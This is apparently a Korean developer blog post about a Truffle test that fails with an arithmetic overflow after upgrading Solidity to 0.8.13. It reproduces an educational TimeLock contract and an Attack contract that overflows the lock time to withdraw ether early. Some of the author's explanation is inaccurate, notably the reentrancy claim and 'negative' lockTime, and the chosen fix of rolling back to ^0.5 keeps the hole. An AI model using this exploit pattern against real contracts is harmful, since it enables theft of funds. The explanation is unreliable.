[Solidity] Overflow and Underflow in Solidity

2023. 9. 23. 03:46·IT/블록체인

배경

Udemy 강의를 보면서 React + truffle 기반 defi 클론 코딩 중, React 16버전인걸 18로 마이그레이션하게 되었다. 그 과정에서 solidity 버전을 ^0.5.0에서 0.8.13으로 바꾸었다가 해당 이슈를 만났다.

 

솔리디티 스마트 컨트랙트를 작성하고, mocha와 chai 기반 테스트를 실행시켜보았는데, ^0.5.0에서는 통과되던 테스트가 0.8.13에서는 에러가 발생하며 실패했다.

 

C:\Users\min49590\KimCookieYa\defi-vite-app>truffle test   
Using network 'development'.


Compiling your contracts...
===========================
> Compiling .\contracts\DecentralBank.sol
> Compiling .\contracts\Migrations.sol
> Compiling .\contracts\RWD.sol
> Compiling .\contracts\Tether.sol
> Artifacts written to C:\Users\min49590\AppData\Local\Temp\test--4348-uSowwsUsSNbB
> Compiled successfully using:
   - solc: 0.8.13+commit.abaa5c0e.Emscripten.clang


  Contract: DecentralBank
    Mock Tether Deployment
      ✔ matches name successfully
    Reward Token Deployment
      ✔ matches name successfully
    Decentral Bank Deployment
      ✔ matches name successfully
      ✔ contract has tokens
    Yield Farming
      1) rewards tokens for staking

    Events emitted during test:
    ---------------------------

    [object Object].Approval(
      _owner: <indexed> 0x120a8b3E25D7A84E5f16D0F3De7040e794366bBC of unknown class (type: address),
      _spender: <indexed> 0x764B11b30f571D7CE34C81B3E69dEE25bB6795fd (DecentralBank) (type: address),
      _value: 100000000000000000000 (type: uint256)
    )


    ---------------------------


  4 passing (528ms)
  1 failing

  1) Contract: DecentralBank
       Yield Farming
         rewards tokens for staking:
     Error: VM Exception while processing transaction: revert -- Reason given: Panic: Arithmetic overflow.
      at Context.<anonymous> (test\decentralBank.tests.js:63:27)
      at processTicksAndRejections (node:internal/process/task_queues:95:5)

Error: VM Exception while processing transaction: revert -- Reason given: Panic: Arithmetic overflow.

Arithmetic overflow가 발생한 것을 볼 수 있다. 단순하게 값이 너무 커져서 오버플로우가 발생한 것이다. 그러나 Solidity ^0.5.0에서는 문제 없던 테스트가 왜 갑자기 터졌느냐... 구글링 덕분에 금방 해결했다.

원인

  • Arithmetic Overflow and Underflow
  • 솔리디티 0.8 버전 이전에는 오버플로우/언더플로우가 발생해도 에러가 발생하지 않는다.
  • 솔리디티 0.8 버전 이후에는 에러가 발생한다.
  • 이는 보안 취약점 이슈 때문인 것으로 보인다.

* Solidity < 0.8
Integers in Solidity overflow / underflow without any errors
* Solidity >= 0.8
Default behaviour of Solidity 0.8 for overflow / underflow is to throw an error.

Solidity < 0.8 버전의 Vulnerability

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;

// This contract is designed to act as a time vault.
// User can deposit into this contract but cannot withdraw for atleast a week.
// User can also extend the wait time beyond the 1 week waiting period.

/*
1. Deploy TimeLock
2. Deploy Attack with address of TimeLock
3. Call Attack.attack sending 1 ether. You will immediately be able to
   withdraw your ether.

What happened?
Attack caused the TimeLock.lockTime to overflow and was able to withdraw
before the 1 week waiting period.
*/

contract TimeLock {
    mapping(address => uint) public balances;
    mapping(address => uint) public lockTime;

    function deposit() external payable {
        balances[msg.sender] += msg.value;
        lockTime[msg.sender] = block.timestamp + 1 weeks;
    }

    function increaseLockTime(uint _secondsToIncrease) public {
        lockTime[msg.sender] += _secondsToIncrease;
    }

    function withdraw() public {
        require(balances[msg.sender] > 0, "Insufficient funds");
        require(block.timestamp > lockTime[msg.sender], "Lock time not expired");

        uint amount = balances[msg.sender];
        balances[msg.sender] = 0;

        (bool sent, ) = msg.sender.call{value: amount}("");
        require(sent, "Failed to send Ether");
    }
}

contract Attack {
    TimeLock timeLock;

    constructor(TimeLock _timeLock) {
        timeLock = TimeLock(_timeLock);
    }

    fallback() external payable {}

    function attack() public payable {
        timeLock.deposit{value: msg.value}();
        /*
        if t = current lock time then we need to find x such that
        x + t = 2**256 = 0
        so x = -t
        2**256 = type(uint).max + 1
        so x = type(uint).max + 1 - t
        */
        timeLock.increaseLockTime(
            type(uint).max + 1 - timeLock.lockTime(address(this))
        );
        timeLock.withdraw();
    }
}

위 예시 컨트랙트에는 다음과 같은 취약점(Vulnerability)이 존재한다.

  1. Integer Overflow: increaseLockTime 함수에서 사용된 계산 type(uint).max + 1 - timeLock.lockTime(address(this))은 오버플로우를 발생시키는 계산이다. Solidity에서는 정수 오버플로우 및 언더플로우를 방지하기 위해 SafeMath와 같은 라이브러리를 사용해야 한다. 이 취약점으로 인해 공격자가 lockTime을 음수로 설정하여 즉시 자금을 인출할 수 있다.
  2. 재진입 공격: attack 함수에서 timeLock.withdraw를 호출한 후에도 다시 timeLock.deposit를 호출하고 있다. 이로 인해 재진입(reentrancy) 공격의 가능성이 열려 있다. 스마트 컨트랙트 개발 시에는 재진입 공격을 방지하기 위한 적절한 방어 메커니즘을 구현해야 한다.
  3. LockTime 설정 무시: attack 함수에서 timeLock.increaseLockTime을 사용하여 lockTime을 변경하고 있다. 이로 인해 시간 잠금을 우회하여 공격자가 빠르게 자금을 인출할 수 있다.

 

솔루션

이러한 오버플로우 문제를 해결하기 위해 Solidity 0.8부터는 Overflow/Underflow 발생 시 에러를 발생하도록 변경되었다. 결과적으로 솔리디티 버전을 ^0.5 로 롤백시키니 테스트를 정상적으로 통과했다. 취약점이 여전히 존재한다는 것이 문제일 뿐. 이외에도 SafeMath 라이브러리를 사용하여 정수 오버플로우를 방지할 수도 있다.

'IT > 블록체인' 카테고리의 다른 글

[트러블슈팅] web3.js import 에러  (0) 2023.09.24
[Ethereum] EIP와 ERC  (0) 2023.09.13
Truffle Suite  (0) 2023.09.06
[Ethereum] ERC-20  (0) 2023.09.04
[Solidity] modifier  (0) 2023.09.04
'IT/블록체인' 카테고리의 다른 글
  • [트러블슈팅] web3.js import 에러
  • [Ethereum] EIP와 ERC
  • Truffle Suite
  • [Ethereum] ERC-20
KimCookieYa
KimCookieYa
무엇이 나를 살아있게 만드는가
  • KimCookieYa
    쿠키의 주저리
    KimCookieYa
  • 전체
    오늘
    어제
    • 분류 전체보기 (576)
      • 혼잣말 (88)
      • TIL (3)
      • 커리어 (24)
        • Sendy (21)
        • 외부활동 기록 (2)
      • 프로젝트 (186)
        • 티스토리 API (5)
        • 코드프레소 체험단 (89)
        • Web3 (3)
        • Pint OS (16)
        • 나만무 (14)
        • 대회 (6)
        • 정글 FE 스터디 (16)
        • MailBadara (12)
        • github.io (1)
        • 인공지능 동아리, AID (5)
        • 졸업과제 (18)
        • OSSCA 2024 (1)
      • 크래프톤 정글 2기 (80)
      • IT (169)
        • 코딩 (4)
        • CS (18)
        • 에러 (5)
        • 블록체인 (23)
        • Front-End (40)
        • 알고리즘&자료구조 정리 (3)
        • 코딩테스트 (3)
        • BOJ 문제정리 (41)
        • WILT (12)
        • ML-Agents (4)
        • 강화학습 (1)
        • Android (0)
        • LLM (2)
      • 전공 (1)
        • 머신러닝 (1)
      • 자기계발 (20)
        • 빡공단X베어유 (2)
        • 독서 (15)
  • 블로그 메뉴

    • 홈
    • 방명록
    • Github
    • Velog
    • 관리
  • 링크

  • 공지사항

  • 인기 글

  • 태그

    프로그래머스
    MailBadara
    알고리즘
    크래프톤정글
    블록체인
    리액트
    졸업과제
    OS
    Pint OS
    코드프레소
    docker
    파이썬
    JavaScript
    니어프로토콜
    딥러닝
    NEAR Protocol
    Flutter
    핀토스
    센디
    pintos
    머신러닝
    나만무
    react
    자바스크립트
    사이드프로젝트
    numpy
    RNN
    부산대
    해커톤
    글리치해커톤
  • hELLO· Designed By정상우.v4.10.3
KimCookieYa
[Solidity] Overflow and Underflow in Solidity
상단으로

티스토리툴바